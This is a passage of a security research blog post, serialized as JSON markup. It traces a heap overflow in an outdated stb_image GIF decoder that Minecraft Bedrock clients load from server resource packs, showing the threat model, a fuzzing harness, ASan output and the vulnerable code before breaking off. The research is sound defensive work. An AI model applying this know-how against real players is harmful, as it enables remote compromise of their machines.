primitives.","2026-06-02T12:00:00.000Z",{"src":144647,"width":94756,"height":11069},"/posts/minecraft-heap-overflow-to-rce/title.png",[144649,144650],"minecraft","rce",{"type":16,"children":144652,"toc":154008},[144653,144658,144663,144668,144674,144679,144698,144703,144709,144714,144719,144725,144730,144735,144740,144746,144751,144756,144762,144782,144794,144801,144823,144837,144844,144850,144860,144880,144885,144891,144904,145249,145254,145262,145268,145287,145595,145623,145666,145678,145686,145691,146160,146179,146200,146542,146566,146838,146862,146889,147098,147117,147125,147144,147150,147212,147215,147237,147241,147246,147251,147257,147262,147276,147282,147296,147302,147315,147320,147328,147333,147339,147360,147368,147381,147384,147389,147403,147408,147413,147419,147424,147447,147452,147458,147463,147475,147487,147601,147621,147626,147631,147637,147642,147662,148277,148290,149364,149369,149377,149382,149388,149393,149401,149414,149419,149424,149431,149444,149449,149456,149511,149531,149538,149557,149564,149567,149572,149577,149583,149595,149608,149616,149687,149698,149732,149740,149745,149750,149756,149768,149787,149799,149804,149812,149831,149839,149858,149866,149892,149900,149905,149913,149918,149926,149929,149934,149939,149945,149958,149976,150014,150044,150052,150057,150063,150068,150073,150079,150091,150260,150272,150280,150285,150292,150297,150358,150405,150417,150422,150448,150522,150560,150565,150573,150594,150599,150625,150659,150712,150759,150765,150784,150816,150824,150927,150998,151004,151030,151037,151042,151049,151054,151295,151321,151326,151374,151379,151385,151417,151429,151461,151469,151508,151516,151521,151529,151534,151542,151554,151562,151574,151582,151594,151614,151620,151640,151657,151665,151677,151685,151704,151709,151717,151722,151730,151756,151767,151774,151779,151787,151792,151800,151805,151813,151818,151826,151831,151839,151844,151852,151893,151900,151905,151913,151918,151926,151931,151939,151944,151949,151957,151962,151970,151996,152004,152030,152038,152043,152051,152056,152064,152072,152077,152085,152090,152098,152101,152112,152146,152164,152172,152192,152198,152217,152275,152295,152303,152306,152345,152405,152410,152416,152429,152437,152489,152528,152536,152569,152572,152592,152600,152606,152611,152619,152659,152700,152720,152725,152730,152748,152754,152759,152778,152839,152847,152873,152879,152899,152904,152909,152916,152981,152986,152993,153014,153019,153031,153037,153070,153077,153082,153110,153117,153173,153185,153192,153253,153272,153278,153312,153333,153360,153368,153421,153491,153497,153517,153560,153565,153963,153969,153974,153985,153989,153994,153999,154004],{"type":19,"tag":32847,"props":144654,"children":144656},{"id":144655},"pwning-minecraft-4-byte-heap-overflow-to-rce",[144657],{"type":24,"value":144643},{"type":19,"tag":20,"props":144659,"children":144660},{},[144661],{"type":24,"value":144662},"In this post, we explore how we achieved remote code execution with a 4-byte heap overflow on a target with default modern protections - working around Windows' Control Flow Guard and ASLR on a remote client connecting to a malicious server, without any information leaks from the client.",{"type":19,"tag":20,"props":144664,"children":144665},{},[144666],{"type":24,"value":144667},"We present a powerful technique, specific to our target, which can be used to achieve RCE for bug types such as double frees, use-after-frees, and any heap overflow of at least 3 bytes.",{"type":19,"tag":36,"props":144669,"children":144671},{"id":144670},"the-target",[144672],{"type":24,"value":144673},"The Target",{"type":19,"tag":20,"props":144675,"children":144676},{},[144677],{"type":24,"value":144678},"Minecraft is one of the most popular games of all time, with millions of daily players and a large count of community servers actively played by thousands - this, and the lack of research in this area made it an intriguing target.",{"type":19,"tag":20,"props":144680,"children":144681},{},[144682,144684,144689,144691,144696],{"type":24,"value":144683},"There are two main editions: ",{"type":19,"tag":51,"props":144685,"children":144686},{},[144687],{"type":24,"value":144688},"Minecraft Java Edition",{"type":24,"value":144690},", written in Java and available on desktop platforms (Windows, macOS, Linux), and ",{"type":19,"tag":51,"props":144692,"children":144693},{},[144694],{"type":24,"value":144695},"Minecraft Bedrock Edition",{"type":24,"value":144697},", written largely in C++ and used on consoles like PlayStation and Xbox, mobile platforms, and also available on Windows.",{"type":19,"tag":20,"props":144699,"children":144700},{},[144701],{"type":24,"value":144702},"Given that we were interested in memory corruption bugs we chose the Bedrock Edition. Specifically, we decided to explore the Windows version as the debugging setup was the one we were most familiar with.",{"type":19,"tag":7050,"props":144704,"children":144706},{"id":144705},"choice-of-context",[144707],{"type":24,"value":144708},"Choice of Context",{"type":19,"tag":20,"props":144710,"children":144711},{},[144712],{"type":24,"value":144713},"We focused on a malicious-server -> connecting-client threat model because a server controls many inputs, giving a larger, easier-to-reach attack surface than client->client attacks.",{"type":19,"tag":20,"props":144715,"children":144716},{},[144717],{"type":24,"value":144718},"A server can control a large state which includes: the whole world and all entities within, each connected client state such as the position and view angles, and server-provided resource packs which connecting clients will download and parse.",{"type":19,"tag":7050,"props":144720,"children":144722},{"id":144721},"resource-packs",[144723],{"type":24,"value":144724},"Resource Packs",{"type":19,"tag":20,"props":144726,"children":144727},{},[144728],{"type":24,"value":144729},"Resource packs are a way to change the look of Minecraft. They specify custom textures and sounds of blocks and entities, while also controlling client-side entity animations.",{"type":19,"tag":20,"props":144731,"children":144732},{},[144733],{"type":24,"value":144734},"A server can provide a custom resource pack to the client upon connecting, which the client can optionally download and load. If the server set the resource pack to mandatory, clients that refuse the resource pack aren't allowed to connect.",{"type":19,"tag":20,"props":144736,"children":144737},{},[144738],{"type":24,"value":144739},"This widens the attack surface to include image and audio parsing - both historically common sources of memory-corruption bugs.",{"type":19,"tag":36,"props":144741,"children":144743},{"id":144742},"finding-a-memory-corruption-bug",[144744],{"type":24,"value":144745},"Finding a Memory Corruption Bug",{"type":19,"tag":20,"props":144747,"children":144748},{},[144749],{"type":24,"value":144750},"Given that Minecraft is a large, closed-source C++ codebase, we wanted to avoid unnecessary reverse engineering; therefore we first looked at the image-parsing code.",{"type":19,"tag":20,"props":144752,"children":144753},{},[144754],{"type":24,"value":144755},"Image parsing is interesting because programs rarely reimplement decoders, they typically use third-party libraries. We hoped Minecraft used an open-source library we could read, which is much easier than reversing a native decoder.",{"type":19,"tag":7050,"props":144757,"children":144759},{"id":144758},"locating-image-parsing-code",[144760],{"type":24,"value":144761},"Locating Image Parsing Code",{"type":19,"tag":20,"props":144763,"children":144764},{},[144765,144767,144773,144774,144780],{"type":24,"value":144766},"The simplest way to find code that handles image parsing is to search for expected strings such as ",{"type":19,"tag":27,"props":144768,"children":144770},{"className":144769},[],[144771],{"type":24,"value":144772},"PNG",{"type":24,"value":10579},{"type":19,"tag":27,"props":144775,"children":144777},{"className":144776},[],[144778],{"type":24,"value":144779},"GIF",{"type":24,"value":144781}," and look for error logging or other messages that use those substrings.",{"type":19,"tag":20,"props":144783,"children":144784},{},[144785,144787,144792],{"type":24,"value":144786},"Searching for the string ",{"type":19,"tag":27,"props":144788,"children":144790},{"className":144789},[],[144791],{"type":24,"value":144779},{"type":24,"value":144793}," returned some interesting results:",{"type":19,"tag":20,"props":144795,"children":144796},{},[144797],{"type":19,"tag":1344,"props":144798,"children":144800},{"alt":48061,"src":144799},"/posts/minecraft-heap-overflow-to-rce/image1.png",[],{"type":19,"tag":20,"props":144802,"children":144803},{},[144804,144806,144813,144815,144822],{"type":24,"value":144805},"Most - if not all - of these results look like they are used by an image parser. We searched online for the strings and found they match the exact strings used in ",{"type":19,"tag":269,"props":144807,"children":144810},{"href":144808,"rel":144809},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h",[273],[144811],{"type":24,"value":144812},"stb_image.h",{"type":24,"value":144814},". For an example: usage of ",{"type":19,"tag":269,"props":144816,"children":144819},{"href":144817,"rel":144818},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h#L6855",[273],[144820],{"type":24,"value":144821},"bad Image Descriptor",{"type":24,"value":948},{"type":19,"tag":20,"props":144824,"children":144825},{},[144826,144828,144835],{"type":24,"value":144827},"To confirm that the library code was actually used to load images, we created a simple resource pack containing a single GIF image, set a breakpoint at ",{"type":19,"tag":269,"props":144829,"children":144832},{"href":144830,"rel":144831},"https://github.com/nothings/stb/blob/fede005abaf93d9d7f3a679d1999b2db341b360f/stb_image.h#L6778",[273],[144833],{"type":24,"value":144834},"stbi__gif_load_next",{"type":24,"value":144836},", and loaded the resource pack - this confirmed its usage:",{"type":19,"tag":20,"props":144838,"children":144839},{},[144840],{"type":19,"tag":1344,"props":144841,"children":144843},{"alt":48061,"src":144842},"/posts/minecraft-heap-overflow-to-rce/image2.png",[],{"type":19,"tag":7050,"props":144845,"children":144847},{"id":144846},"stb-image-library",[144848],{"type":24,"value":144849},"STB Image Library",{"type":19,"tag":20,"props":144851,"children":144852},{},[144853,144858],{"type":19,"tag":27,"props":144854,"children":144856},{"className":144855},[],[144857],{"type":24,"value":144812},{"type":24,"value":144859}," had a number of memory corruption bugs historically, but the known ones were fixed in later revisions. Finding a new 0-day in this library looked relatively hard because it’s widely used and has been well-scrutinized at that point.",{"type":19,"tag":20,"props":144861,"children":144862},{},[144863,144865,144870,144872,144879],{"type":24,"value":144864},"Instead, we checked whether the version used by Minecraft was outdated - if so, previously reported bugs might apply. We inspected ",{"type":19,"tag":27,"props":144866,"children":144868},{"className":144867},[],[144869],{"type":24,"value":144812},{"type":24,"value":144871}," commits and checked whether those changes were present in the Minecraft executable. Eventually, we found that Minecraft was using a fairly old revision - some commit prior to ",{"type":19,"tag":269,"props":144873,"children":144876},{"href":144874,"rel":144875},"https://github.com/nothings/stb/commit/f1f077b2722f55e158cba020f0312ee2d13c463a",[273],[144877],{"type":24,"value":144878},"f1f077b2722f55e158cba020f0312ee2d13c463a",{"type":24,"value":948},{"type":19,"tag":20,"props":144881,"children":144882},{},[144883],{"type":24,"value":144884},"At the time, the commit was already 6 years old, while there were public reports for memory corruption bugs after it. We looked through the reported bugs but didn't find an interesting and applicable one, so we decided to run a simple fuzzing harness on this commit.",{"type":19,"tag":16345,"props":144886,"children":144888},{"id":144887},"fuzzing",[144889],{"type":24,"value":144890},"Fuzzing",{"type":19,"tag":20,"props":144892,"children":144893},{},[144894,144896,144903],{"type":24,"value":144895},"The fuzzer consisted of a very simple ",{"type":19,"tag":269,"props":144897,"children":144900},{"href":144898,"rel":144899},"https://github.com/AFLplusplus/AFLplusplus",[273],[144901],{"type":24,"value":144902},"AFL++",{"type":24,"value":24209},{"type":19,"tag":158,"props":144905,"children":144907},{"code":144906,"language":543,"meta":7,"className":13963,"style":7},"#define STB_IMAGE_IMPLEMENTATION\n#include \"./stb/stb_image.h\"\n\nint main(int argc, char **argv) {\n int x, y, comp;\n unsigned char *ret;\n\n if (argc != 2) {\n return 1;\n }\n\n ret = stbi_load(argv[1], &x, &y, &comp, 0);\n if (ret == NULL) {\n return 1;\n }\n \n stbi_image_free(ret);\n\n return 0;\n}\n",[144908],{"type":19,"tag":27,"props":144909,"children":144910},{"__ignoreMap":7},[144911,144924,144936,144943,144989,145001,145022,145029,145053,145068,145075,145082,145154,145178,145193,145200,145207,145220,145227,145242],{"type":19,"tag":168,"props":144912,"children":144913},{"class":170,"line":171},[144914,144919],{"type":19,"tag":168,"props":144915,"children":144916},{"style":419},[144917],{"type":24,"value":144918},"#define",{"type":19,"tag":168,"props":144920,"children":144921},{"style":175},[144922],{"type":24,"value":144923}," STB_IMAGE_IMPLEMENTATION\n",{"type":19,"tag":168,"props":144925,"children":144926},{"class":170,"line":198},[144927,144931],{"type":19,"tag":168,"props":144928,"children":144929},{"style":419},[144930],{"type":24,"value":87904},{"type":19,"tag":168,"props":144932,"children":144933},{"style":181},[144934],{"type":24,"value":144935}," \"./stb/stb_image.h\"\n",{"type":19,"tag":168,"props":144937,"children":144938},{"class":170,"line":415},[144939],{"type":19,"tag":168,"props":144940,"children":144941},{"emptyLinePlaceholder":14},[144942],{"type":24,"value":1093},{"type":19,"tag":168,"props":144944,"children":144945},{"class":170,"line":450},[144946,144950,144954,144958,144962,144967,144971,144976,144980,144985],{"type":19,"tag":168,"props":144947,"children":144948},{"style":382},[144949],{"type":24,"value":16500},{"type":19,"tag":168,"props":144951,"children":144952},{"style":175},[144953],{"type":24,"value":88269},{"type":19,"tag":168,"props":144955,"children":144956},{"style":212},[144957],{"type":24,"value":500},{"type":19,"tag":168,"props":144959,"children":144960},{"style":382},[144961],{"type":24,"value":16500},{"type":19,"tag":168,"props":144963,"children":144964},{"style":393},[144965],{"type":24,"value":144966}," argc",{"type":19,"tag":168,"props":144968,"children":144969},{"style":212},[144970],{"type":24,"value":471},{"type":19,"tag":168,"props":144972,"children":144973},{"style":382},[144974],{"type":24,"value":144975},"char",{"type":19,"tag":168,"props":144977,"children":144978},{"style":399},[144979],{"type":24,"value":87370},{"type":19,"tag":168,"props":144981,"children":144982},{"style":393},[144983],{"type":24,"value":144984},"argv",{"type":19,"tag":168,"props":144986,"children":144987},{"style":212},[144988],{"type":24,"value":12250},{"type":19,"tag":168,"props":144990,"children":144991},{"class":170,"line":560},[144992,144996],{"type":19,"tag":168,"props":144993,"children":144994},{"style":382},[144995],{"type":24,"value":16530},{"type":19,"tag":168,"props":144997,"children":144998},{"style":212},[144999],{"type":24,"value":145000}," x, y, comp;\n",{"type":19,"tag":168,"props":145002,"children":145003},{"class":170,"line":666},[145004,145009,145013,145017],{"type":19,"tag":168,"props":145005,"children":145006},{"style":382},[145007],{"type":24,"value":145008}," unsigned",{"type":19,"tag":168,"props":145010,"children":145011},{"style":382},[145012],{"type":24,"value":56533},{"type":19,"tag":168,"props":145014,"children":145015},{"style":399},[145016],{"type":24,"value":7259},{"type":19,"tag":168,"props":145018,"children":145019},{"style":212},[145020],{"type":24,"value":145021},"ret;\n",{"type":19,"tag":168,"props":145023,"children":145024},{"class":170,"line":694},[145025],{"type":19,"tag":168,"props":145026,"children":145027},{"emptyLinePlaceholder":14},[145028],{"type":24,"value":1093},{"type":19,"tag":168,"props":145030,"children":145031},{"class":170,"line":707},[145032,145036,145041,145045,145049],{"type":19,"tag":168,"props":145033,"children":145034},{"style":419},[145035],{"type":24,"value":9724},{"type":19,"tag":168,"props":145037,"children":145038},{"style":212},[145039],{"type":24,"value":145040}," (argc ",{"type":19,"tag":168,"props":145042,"children":145043},{"style":399},[145044],{"type":24,"value":13136},{"type":19,"tag":168,"props":145046,"children":145047},{"style":192},[145048],{"type":24,"value":5371},{"type":19,"tag":168,"props":145050,"children":145051},{"style":212},[145052],{"type":24,"value":12250},{"type":19,"tag":168,"props":145054,"children":145055},{"class":170,"line":725},[145056,145060,145064],{"type":19,"tag":168,"props":145057,"children":145058},{"style":419},[145059],{"type":24,"value":13192},{"type":19,"tag":168,"props":145061,"children":145062},{"style":192},[145063],{"type":24,"value":1954},{"type":19,"tag":168,"props":145065,"children":145066},{"style":212},[145067],{"type":24,"value":412},{"type":19,"tag":168,"props":145069,"children":145070},{"class":170,"line":746},[145071],{"type":19,"tag":168,"props":145072,"children":145073},{"style":212},[145074],{"type":24,"value":761},{"type":19,"tag":168,"props":145076,"children":145077},{"class":170,"line":755},[145078],{"type":19,"tag":168,"props":145079,"children":145080},{"emptyLinePlaceholder":14},[145081],{"type":24,"value":1093},{"type":19,"tag":168,"props":145083,"children":145084},{"class":170,"line":1008},[145085,145090,145094,145099,145103,145107,145111,145115,145119,145123,145128,145132,145137,145141,145146,145150],{"type":19,"tag":168,"props":145086,"children":145087},{"style":212},[145088],{"type":24,"value":145089}," ret ",{"type":19,"tag":168,"props":145091,"children":145092},{"style":399},[145093],{"type":24,"value":486},{"type":19,"tag":168,"props":145095,"children":145096},{"style":175},[145097],{"type":24,"value":145098}," stbi_load",{"type":19,"tag":168,"props":145100,"children":145101},{"style":212},[145102],{"type":24,"value":500},{"type":19,"tag":168,"props":145104,"children":145105},{"style":393},[145106],{"type":24,"value":144984},{"type":19,"tag":168,"props":145108,"children":145109},{"style":212},[145110],{"type":24,"value":1152},{"type":19,"tag":168,"props":145112,"children":145113},{"style":192},[145114],{"type":24,"value":1442},{"type":19,"tag":168,"props":145116,"children":145117},{"style":212},[145118],{"type":24,"value":20516},{"type":19,"tag":168,"props":145120,"children":145121},{"style":399},[145122],{"type":24,"value":505},{"type":19,"tag":168,"props":145124,"children":145125},{"style":212},[145126],{"type":24,"value":145127},"x, ",{"type":19,"tag":168,"props":145129,"children":145130},{"style":399},[145131],{"type":24,"value":505},{"type":19,"tag":168,"props":145133,"children":145134},{"style":212},[145135],{"type":24,"value":145136},"y, ",{"type":19,"tag":168,"props":145138,"children":145139},{"style":399},[145140],{"type":24,"value":505},{"type":19,"tag":168,"props":145142,"children":145143},{"style":212},[145144],{"type":24,"value":145145},"comp, ",{"type":19,"tag":168,"props":145147,"children":145148},{"style":192},[145149],{"type":24,"value":1452},{"type":19,"tag":168,"props":145151,"children":145152},{"style":212},[145153],{"type":24,"value":1249},{"type":19,"tag":168,"props":145155,"children":145156},{"class":170,"line":1025},[145157,145161,145166,145170,145174],{"type":19,"tag":168,"props":145158,"children":145159},{"style":419},[145160],{"type":24,"value":9724},{"type":19,"tag":168,"props":145162,"children":145163},{"style":212},[145164],{"type":24,"value":145165}," (ret ",{"type":19,"tag":168,"props":145167,"children":145168},{"style":399},[145169],{"type":24,"value":6013},{"type":19,"tag":168,"props":145171,"children":145172},{"style":382},[145173],{"type":24,"value":125257},{"type":19,"tag":168,"props":145175,"children":145176},{"style":212},[145177],{"type":24,"value":12250},{"type":19,"tag":168,"props":145179,"children":145180},{"class":170,"line":1042},[145181,145185,145189],{"type":19,"tag":168,"props":145182,"children":145183},{"style":419},[145184],{"type":24,"value":13192},{"type":19,"tag":168,"props":145186,"children":145187},{"style":192},[145188],{"type":24,"value":1954},{"type":19,"tag":168,"props":145190,"children":145191},{"style":212},[145192],{"type":24,"value":412},{"type":19,"tag":168,"props":145194,"children":145195},{"class":170,"line":1055},[145196],{"type":19,"tag":168,"props":145197,"children":145198},{"style":212},[145199],{"type":24,"value":761},{"type":19,"tag":168,"props":145201,"children":145202},{"class":170,"line":1064},[145203],{"type":19,"tag":168,"props":145204,"children":145205},{"style":212},[145206],{"type":24,"value":59271},{"type":19,"tag":168,"props":145208,"children":145209},{"class":170,"line":1087},[145210,145215],{"type":19,"tag":168,"props":145211,"children":145212},{"style":175},[145213],{"type":24,"value":145214}," stbi_image_free",{"type":19,"tag":168,"props":145216,"children":145217},{"style":212},[145218],{"type":24,"value":145219},"(ret);\n",{"type":19,"tag":168,"props":145221,"children":145222},{"class":170,"line":1096},[145223],{"type":19,"tag":168,"props":145224,"children":145225},{"emptyLinePlaceholder":14},[145226],{"type":24,"value":1093},{"type":19,"tag":168,"props":145228,"children":145229},{"class":170,"line":1105},[145230,145234,145238],{"type":19,"tag":168,"props":145231,"children":145232},{"style":419},[145233],{"type":24,"value":14438},{"type":19,"tag":168,"props":145235,"children":145236},{"style":192},[145237],{"type":24,"value":437},{"type":19,"tag":168,"props":145239,"children":145240},{"style":212},[145241],{"type":24,"value":412},{"type":19,"tag":168,"props":145243,"children":145244},{"class":170,"line":1174},[145245],{"type":19,"tag":168,"props":145246,"children":145247},{"style":212},[145248],{"type":24,"value":1326},{"type":19,"tag":20,"props":145250,"children":145251},{},[145252],{"type":24,"value":145253},"And soon after starting the fuzzer it found an interesting bug:",{"type":19,"tag":158,"props":145255,"children":145257},{"code":145256},"=================================================================\n==1087247==ERROR: AddressSanitizer: heap-buffer-overflow on address ...\nWRITE of size 1 at 0x52d000008800 thread T0\n #0 0x655424309a49 in stbi__out_gif_code stb/stb_image.h:6233\n #1 0x655424309888 in stbi__out_gif_code stb/stb_image.h:6227\n #2 0x655424309888 in stbi__out_gif_code stb/stb_image.h:6227\n [...]\n #19 0x65542430a697 in stbi__process_gif_raster stb/stb_image.h:6326\n #20 0x65542430b936 in stbi__gif_load_next stb/stb_image.h:6443\n #21 0x65542430c90e in stbi__gif_load stb/stb_image.h:6573\n #22 0x6554242fc0d4 in stbi__load_main stb/stb_image.h:989\n #23 0x6554242fc927 in stbi__load_and_postprocess_8bit stb/stb_image.h:1088\n #24 0x6554242fd34f in stbi_load_from_file stb/stb_image.h:1174\n #25 0x6554242fd22c in stbi_load stb/stb_image.h:1164\n [...]\n",[145258],{"type":19,"tag":27,"props":145259,"children":145260},{"__ignoreMap":7},[145261],{"type":24,"value":145256},{"type":19,"tag":16345,"props":145263,"children":145265},{"id":145264},"investigating-the-finding",[145266],{"type":24,"value":145267},"Investigating the Finding",{"type":19,"tag":20,"props":145269,"children":145270},{},[145271,145273,145279,145280,145285],{"type":24,"value":145272},"The ASAN output shows that at line ",{"type":19,"tag":27,"props":145274,"children":145276},{"className":145275},[],[145277],{"type":24,"value":145278},"6233",{"type":24,"value":140779},{"type":19,"tag":27,"props":145281,"children":145283},{"className":145282},[],[145284],{"type":24,"value":144812},{"type":24,"value":145286}," an attempt was made to write a single byte out-of-bounds. Looking at the nearby source:",{"type":19,"tag":158,"props":145288,"children":145290},{"code":145289,"language":543,"meta":7,"className":13963,"style":7},"static void stbi__out_gif_code(stbi__gif *g, stbi__uint16 code)\n{\n stbi_uc *p, *c;\n int idx; \n\n [...]\n\n if (g->cur_y >= g->max_y) return;\n\n idx = g->cur_x + g->cur_y; \n p = &g->out[idx];\n g->history[idx / 4] = 1; // OOB write\n",[145291],{"type":19,"tag":27,"props":145292,"children":145293},{"__ignoreMap":7},[145294,145336,145343,145369,145382,145389,145397,145404,145458,145465,145511,145544],{"type":19,"tag":168,"props":145295,"children":145296},{"class":170,"line":171},[145297,145301,145305,145310,145315,145319,145323,145328,145332],{"type":19,"tag":168,"props":145298,"children":145299},{"style":382},[145300],{"type":24,"value":48527},{"type":19,"tag":168,"props":145302,"children":145303},{"style":382},[145304],{"type":24,"value":48532},{"type":19,"tag":168,"props":145306,"children":145307},{"style":175},[145308],{"type":24,"value":145309}," stbi__out_gif_code",{"type":19,"tag":168,"props":145311,"children":145312},{"style":212},[145313],{"type":24,"value":145314},"(stbi__gif ",{"type":19,"tag":168,"props":145316,"children":145317},{"style":399},[145318],{"type":24,"value":2002},{"type":19,"tag":168,"props":145320,"children":145321},{"style":393},[145322],{"type":24,"value":106785},{"type":19,"tag":168,"props":145324,"children":145325},{"style":212},[145326],{"type":24,"value":145327},", stbi__uint16 ",{"type":19,"tag":168,"props":145329,"children":145330},{"style":393},[145331],{"type":24,"value":27},{"type":19,"tag":168,"props":145333,"children":145334},{"style":212},[145335],{"type":24,"value":557},{"type":19,"tag":168,"props":145337,"children":145338},{"class":170,"line":198},[145339],{"type":19,"tag":168,"props":145340,"children":145341},{"style":212},[145342],{"type":24,"value":8324},{"type":19,"tag":168,"props":145344,"children":145345},{"class":170,"line":415},[145346,145351,145355,145360,145364],{"type":19,"tag":168,"props":145347,"children":145348},{"style":212},[145349],{"type":24,"value":145350}," stbi_uc ",{"type":19,"tag":168,"props":145352,"children":145353},{"style":399},[145354],{"type":24,"value":2002},{"type":19,"tag":168,"props":145356,"children":145357},{"style":212},[145358],{"type":24,"value":145359},"p, ",{"type":19,"tag":168,"props":145361,"children":145362},{"style":399},[145363],{"type":24,"value":2002},{"type":19,"tag":168,"props":145365,"children":145366},{"style":212},[145367],{"type":24,"value":145368},"c;\n",{"type":19,"tag":168,"props":145370,"children":145371},{"class":170,"line":450},[145372,145377],{"type":19,"tag":168,"props":145373,"children":145374},{"style":382},[145375],{"type":24,"value":145376}," int",{"type":19,"tag":168,"props":145378,"children":145379},{"style":212},[145380],{"type":24,"value":145381}," idx; \n",{"type":19,"tag":168,"props":145383,"children":145384},{"class":170,"line":560},[145385],{"type":19,"tag":168,"props":145386,"children":145387},{"emptyLinePlaceholder":14},[145388],{"type":24,"value":1093},{"type":19,"tag":168,"props":145390,"children":145391},{"class":170,"line":666},[145392],{"type":19,"tag":168,"props":145393,"children":145394},{"style":212},[145395],{"type":24,"value":145396}," [...]\n",{"type":19,"tag":168,"props":145398,"children":145399},{"class":170,"line":694},[145400],{"type":19,"tag":168,"props":145401,"children":145402},{"emptyLinePlaceholder":14},[145403],{"type":24,"value":1093},{"type":19,"tag":168,"props":145405,"children":145406},{"class":170,"line":707},[145407,145411,145415,145419,145423,145428,145432,145437,145441,145446,145450,145454],{"type":19,"tag":168,"props":145408,"children":145409},{"style":419},[145410],{"type":24,"value":50127},{"type":19,"tag":168,"props":145412,"children":145413},{"style":212},[145414],{"type":24,"value":461},{"type":19,"tag":168,"props":145416,"children":145417},{"style":393},[145418],{"type":24,"value":106785},{"type":19,"tag":168,"props":145420,"children":145421},{"style":212},[145422],{"type":24,"value":11203},{"type":19,"tag":168,"props":145424,"children":145425},{"style":393},[145426],{"type":24,"value":145427},"cur_y",{"type":19,"tag":168,"props":145429,"children":145430},{"style":399},[145431],{"type":24,"value":5739},{"type":19,"tag":168,"props":145433,"children":145434},{"style":393},[145435],{"type":24,"value":145436}," g",{"type":19,"tag":168,"props":145438,"children":145439},{"style":212},[145440],{"type":24,"value":11203},{"type":19,"tag":168,"props":145442,"children":145443},{"style":393},[145444],{"type":24,"value":145445},"max_y",{"type":19,"tag":168,"props":145447,"children":145448},{"style":212},[145449],{"type":24,"value":481},{"type":19,"tag":168,"props":145451,"children":145452},{"style":419},[145453],{"type":24,"value":45939},{"type":19,"tag":168,"props":145455,"children":145456},{"style":212},[145457],{"type":24,"value":412},{"type":19,"tag":168,"props":145459,"children":145460},{"class":170,"line":725},[145461],{"type":19,"tag":168,"props":145462,"children":145463},{"emptyLinePlaceholder":14},[145464],{"type":24,"value":1093},{"type":19,"tag":168,"props":145466,"children":145467},{"class":170,"line":746},[145468,145473,145477,145481,145485,145490,145494,145498,145502,145506],{"type":19,"tag":168,"props":145469,"children":145470},{"style":212},[145471],{"type":24,"value":145472}," idx ",{"type":19,"tag":168,"props":145474,"children":145475},{"style":399},[145476],{"type":24,"value":486},{"type":19,"tag":168,"props":145478,"children":145479},{"style":393},[145480],{"type":24,"value":145436},{"type":19,"tag":168,"props":145482,"children":145483},{"style":212},[145484],{"type":24,"value":11203},{"type":19,"tag":168,"props":145486,"children":145487},{"style":393},[145488],{"type":24,"value":145489},"cur_x",{"type":19,"tag":168,"props":145491,"children":145492},{"style":399},[145493],{"type":24,"value":6343},{"type":19,"tag":168,"props":145495,"children":145496},{"style":393},[145497],{"type":24,"value":145436},{"type":19,"tag":168,"props":145499,"children":145500},{"style":212},[145501],{"type":24,"value":11203},{"type":19,"tag":168,"props":145503,"children":145504},{"style":393},[145505],{"type":24,"value":145427},{"type":19,"tag":168,"props":145507,"children":145508},{"style":212},[145509],{"type":24,"value":145510},"; \n",{"type":19,"tag":168,"props":145512,"children":145513},{"class":170,"line":755},[145514,145519,145523,145527,145531,145535,145539],{"type":19,"tag":168,"props":145515,"children":145516},{"style":212},[145517],{"type":24,"value":145518}," p ",{"type":19,"tag":168,"props":145520,"children":145521},{"style":399},[145522],{"type":24,"value":486},{"type":19,"tag":168,"props":145524,"children":145525},{"style":399},[145526],{"type":24,"value":4577},{"type":19,"tag":168,"props":145528,"children":145529},{"style":393},[145530],{"type":24,"value":106785},{"type":19,"tag":168,"props":145532,"children":145533},{"style":212},[145534],{"type":24,"value":11203},{"type":19,"tag":168,"props":145536,"children":145537},{"style":393},[145538],{"type":24,"value":116208},{"type":19,"tag":168,"props":145540,"children":145541},{"style":212},[145542],{"type":24,"value":145543},"[idx];\n",{"type":19,"tag":168,"props":145545,"children":145546},{"class":170,"line":1008},[145547,145552,145556,145561,145566,145570,145574,145578,145582,145586,145590],{"type":19,"tag":168,"props":145548,"children":145549},{"style":393},[145550],{"type":24,"value":145551}," g",{"type":19,"tag":168,"props":145553,"children":145554},{"style":212},[145555],{"type":24,"value":11203},{"type":19,"tag":168,"props":145557,"children":145558},{"style":393},[145559],{"type":24,"value":145560},"history",{"type":19,"tag":168,"props":145562,"children":145563},{"style":212},[145564],{"type":24,"value":145565},"[idx ",{"type":19,"tag":168,"props":145567,"children":145568},{"style":399},[145569],{"type":24,"value":2012},{"type":19,"tag":168,"props":145571,"children":145572},{"style":192},[145573],{"type":24,"value":9190},{"type":19,"tag":168,"props":145575,"children":145576},{"style":212},[145577],{"type":24,"value":6099},{"type":19,"tag":168,"props":145579,"children":145580},{"style":399},[145581],{"type":24,"value":486},{"type":19,"tag":168,"props":145583,"children":145584},{"style":192},[145585],{"type":24,"value":1954},{"type":19,"tag":168,"props":145587,"children":145588},{"style":212},[145589],{"type":24,"value":46556},{"type":19,"tag":168,"props":145591,"children":145592},{"style":373},[145593],{"type":24,"value":145594}," // OOB write\n",{"type":19,"tag":20,"props":145596,"children":145597},{},[145598,145600,145605,145607,145613,145615,145621],{"type":24,"value":145599},"It’s reasonable to assume ",{"type":19,"tag":27,"props":145601,"children":145603},{"className":145602},[],[145604],{"type":24,"value":74006},{"type":24,"value":145606}," is outside the bounds of ",{"type":19,"tag":27,"props":145608,"children":145610},{"className":145609},[],[145611],{"type":24,"value":145612},"g->history",{"type":24,"value":145614},", which leads to a one-byte OOB write (",{"type":19,"tag":27,"props":145616,"children":145618},{"className":145617},[],[145619],{"type":24,"value":145620},"g->history[idx / 4] = 1",{"type":24,"value":145622},"). That single-byte OOB is hard to exploit remotely, but it was the only corruption observed initially, so we investigated further.",{"type":19,"tag":20,"props":145624,"children":145625},{},[145626,145628,145633,145635,145641,145643,145648,145650,145656,145658,145664],{"type":24,"value":145627},"Because ",{"type":19,"tag":27,"props":145629,"children":145631},{"className":145630},[],[145632],{"type":24,"value":20},{"type":24,"value":145634}," is computed from ",{"type":19,"tag":27,"props":145636,"children":145638},{"className":145637},[],[145639],{"type":24,"value":145640},"g->out[idx]",{"type":24,"value":145642}," immediately before the violation, we considered whether ",{"type":19,"tag":27,"props":145644,"children":145646},{"className":145645},[],[145647],{"type":24,"value":74006},{"type":24,"value":145649}," could also be OOB for ",{"type":19,"tag":27,"props":145651,"children":145653},{"className":145652},[],[145654],{"type":24,"value":145655},"g->out",{"type":24,"value":145657},". Note that computing the address 